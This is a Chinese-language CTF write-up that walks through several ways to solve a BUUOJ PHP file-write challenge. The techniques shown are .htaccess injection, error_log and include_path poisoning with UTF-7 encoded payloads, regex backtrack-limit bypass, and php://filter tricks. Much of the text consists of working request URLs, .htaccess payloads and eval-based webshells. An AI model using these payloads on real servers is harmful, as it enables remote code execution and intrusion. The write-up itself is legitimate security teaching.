题目复现链接:https://buuoj.cn/challenges

打开题目给了我们源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

分析源码:

  1. 首先删除当前目录下非index.php的文件
  2. 然后include(‘fl3g.php’),之后获取filenamecontent并写入文件中。其中对filename和content都有过滤。filename若匹配到除了a-z和单引号.以外的其它字符,则触发waf
  3. 文件内容结尾被加上了一行

功能很简单:
一个写文件的功能且只能写文件名为[a-z.]* 的文件,且文件内容存在黑名单过滤,并且结尾被加上了一行,这就导致我们无法直接写入.htaccess里面auto_prepend_filephp_value

预期解中知识点:

https://www.cnblogs.com/tr1ple/p/11439994.html

1. htaccess生效

如果尝试上传htaccess文件会发现出现响应500的问题,因为文件尾有Just one chance 这里采用# \的方式将换行符转义成普通字符,就可以用#来注释单行了。

2. 利用文件包含

代码中有一处include_once("fl3g.php");,php的配置选项中有include_path可以用来设置include的路径。如果tmp目录下有fl3g.php,在可以通过将include_path设置为tmp的方式来完成文件包含。

.htaccess可以设置php_value include_path "xxx"include()的默认路径改变

3. 指定目录写文件

.htaccess文件中可以自己定义error_log,更多配置可以在php.ini配置选项列表找到

error_log可以将php运行报错的记录写到指定文件中。
如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。

1
2
3
php_value include_path "xxx" 
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php

据此可以做到将报错信息中的payload,如:

1
[Fri Oct 25 17:44:29.533900 2019] [php7:warn] [pid 1387] [client 172.20.10.2:1147] PHP Warning: include_once(): Failed opening 'fl3g.php' for inclusion (include_path='.:/usr/share/php') in /var/www/html/ctf/index.php on line 10 

这里就可以将shellcode配合include写进其它目录。

4. php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤

index.php?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23 \

写入htaccess. 然而很不幸的是error_log的内容默认是htmlentities的,我们无法插入类似<?php phpinfo();?>的payload。那么怎么才能绕过这里的转义?

img

再次访问index.php

img

此时将include_path中的payload写入到了fl3g.php中,但是从观察来看<>被html实体编码转义了,html_errors里面html也被过滤了。说明此时shell无法利用,suctf也考到了.htaccess中编码来绕过<?的过滤,但是此时只转义了<,因此UTF-16,UTF-32均无法bypass,此时结合[Insomnihack 2019 I33t-hoster](https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack 2019/l33t-hoster/l33t-hoster.md)题解中使用UTF-7编码来绕过<的过滤,结合php.ini的设置项

写入utf-7编码的shellcode可以绕过<?的过滤
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs
需要在.htaccess中配置解析的编码:

1
2
php_flag zend.multibyte 1 
php_value zend.script_encoding "UTF-7"

综上:
最后生成的.htaccess是这样的

1
2
3
4
5
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
Just one chance

非预期解1知识点

设置pcre的一些选项可以导致文件名判断失效,从而直接写入fl3g.php

1
2
php_value pcre.backtrack_limit 0
php_value pcre.jit 0

if(preg_match("/[^a-z.]/", $filename) == 1) 而不是 if(preg_match("/[^a-z.]/", $filename) !== 0), 因此可以通过 php_value 设置正则回朔次数来使正则匹配的结果返回为 false 而不是 0 或 1, 默认的回朔次数比较大, 可以设成 0, 那么当超过此次数以后将返回 false

filename即可通过伪协议绕过前面stristr的判断实现Getshell

非预期解2知识点

1
2
php_value auto_prepend_file ".htaccess"
#<?PHP eval($_GET[a]);?>\

因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess

结合上面:

预期解1

https://www.anquanke.com/post/id/185377#h3-6

Step1 写入.htaccess error_log相关的配置

1
2
3
4
5
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
# \
http://65e4f7f3-b20b-4d9e-9de1-a59e81fd43b4.node3.buuoj.cn/index.php?filename=.htaccess&content=php_value%20error_log%20/tmp/fl3g.php%0d%0aphp_value%20error_reporting%2032767%0d%0aphp_value%20include_path%20%22+ADw?php%20eval($_GET[1])+ADs%20+AF8AXw-halt+AF8-compiler()+ADs%22%0d%0a#%20\

Step2 访问index.php留下error_log
Step3 写入.htaccess新的配置

1
2
3
4
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

index.php?filename=.htaccess&content=php_value include_path "/tmp"%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding "UTF-7"%0d%0a# \

Step4 再访问一次index.php?1=evilcode即可getshell.

非预期解1

1
2
3
4
php_value pcre.backtrack_limit    0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\

令filename为:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了

这里还学到了p牛的一篇文章:php://filter的妙用

非预期解2

因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess,

1
2
php_value auto_prepend_fi\ 
le ".htaccess"